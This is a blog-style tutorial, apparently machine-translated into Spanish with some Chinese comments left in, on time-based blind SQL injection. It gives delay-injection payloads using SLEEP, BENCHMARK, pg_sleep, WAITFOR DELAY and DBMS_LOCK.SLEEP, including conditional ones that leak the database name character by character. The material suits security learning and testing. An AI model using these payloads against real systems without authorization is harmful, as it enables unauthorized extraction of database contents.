[sql injection-delay injection] sleep(), benchmark() function delay injection

Tabla de contenido

sleep (), inyección de retraso de referencia ()

1. Introducción a la gramática:

2. Inyección retardada

Tres bases de datos diferentes

grupo de seguridad de la red


sleep (), inyección de retraso de referencia ()

1. Introducción a la gramática:

Versión:

dormir () MySQL> 5.7.8

punto de referencia () MySQL> 5.7.5


gramática:

 


usar:

SELECT SLEEP(10);

retraso 10s

 

SELECT BENCHMARK(1000000, SHA1('Hello World'));

La consulta realizará 1 millón de cálculos de hash SHA1 y devolverá el resultado (no pierda el tiempo)

Luego agregué otro 0

 



2. Inyección retardada

si ejemplo:

Agrega la función de juicio if()

if(a,b,c), si el valor de a es verdadero, devuelve el valor de b, si el valor de a es falso, devuelve el valor de c

?id=1’ and if ((ascii(substr(database(),0,1))>100),sleep(10),1) --+

sleep(if(database()="security",10,0))

if(now()=sysdate(),sleep(length(database())),0)

//now(): 这是MySQL的一个内置函数,返回当前日期和时间。

//sysdate(): 这也是MySQL的一个内置函数,返回系统日期和时间。

//length(database()): 这是一个内置函数,返回当前数据库名的长度。

//sleep(): 这是MySQL的一个内置函数,用于在执行语句时暂停指定的秒数。

La lógica del código:

Si la fecha y hora actual devuelta por now() es igual a la fecha y hora del sistema devuelta por sysdate() (es decir, se establece la condición), entonces ejecute la
función sleep(longitud(base de datos())), es decir , el número de segundos para hacer una pausa es igual a la duración del tiempo del nombre de la base de datos actual;
de lo contrario, devuelva 0


caso cuando ejemplo

CASE WHEN condition1 THEN result1
WHEN condition2 THEN result2
ELSE result3
END

Entre ellos, condition1 y condition2 son expresiones condicionales, y result1, result2 y result3 son los resultados devueltos según las expresiones condicionales. Si no se cumplen todas las condiciones, devuelve result3

'%3bselect case when (1=1) then sleep(10) else sleep(0) end --

Esta es una declaración condicional que se usa para ejecutar la función retrasada sleep() en la consulta. Si la condición (1=1) es verdadera, se ejecutará la función sleep(10), es decir, se pausará durante 10 segundos; en caso contrario, se ejecutará la función sleep(0), es decir, no habrá demora


carga útil:

' OR SLEEP(5)#

' OR BENCHMARK(1000000,SHA1('test'))#

if(now()=sysdate(),sleep(length(database())),0)

'%3bselect case when (1=1) then pg_sleep(10) else pg_sleep(0) end --


Tres bases de datos diferentes

  1. SLEEP()Función MySQL :
       - Función: Permite que la base de datos duerma durante el tiempo especificado (en segundos).
       -Ejemplo de carga útil:' OR SLEEP(5) --

  2. Funciones de PostgreSQL pg_sleep():
       - Función: Permite que la base de datos duerma durante el tiempo especificado (en segundos).
       -Ejemplo de carga útil:' OR pg_sleep(5) --

  3. Declaración de Microsoft SQL Server WAITFOR DELAY:
       - Función de declaración: permite que la base de datos duerma durante el tiempo especificado (en milisegundos).
       -Ejemplo de carga útil:' OR WAITFOR DELAY '0:0:5' --

  4. DBMS_LOCK.SLEEP()Función de Oracle :
       - Función: dejar que la base de datos duerma durante el tiempo especificado (en segundos).
       -Ejemplo de carga útil:' OR DBMS_LOCK.SLEEP(5) --



grupo de seguridad de la red

README.md · Shubansheng/Network Security Knowledge System-Practice Center-Code Cloud-Open Source China (gitee.com) está cargando... volver a cargar cancelar https://gitee.com/shubansheng/Treasure_knowledge/blob/master/ LÉAME.md icono-predeterminado.png?t=N658https://gitee.com/shubansheng/Treasure_knowledge/blob/master/README.md

GitHub - BLACKxZONE/Treasure_knowledge se está cargando... vuelva a cargar para cancelar https://github.com/BLACKxZONE/Treasure_knowledge icono-predeterminado.png?t=N658https://github.com/BLACKxZONE/Treasure_knowledge

Supongo que te gusta

Origin blog.csdn.net/qq_53079406/article/details/131639804
Recomendado
Clasificación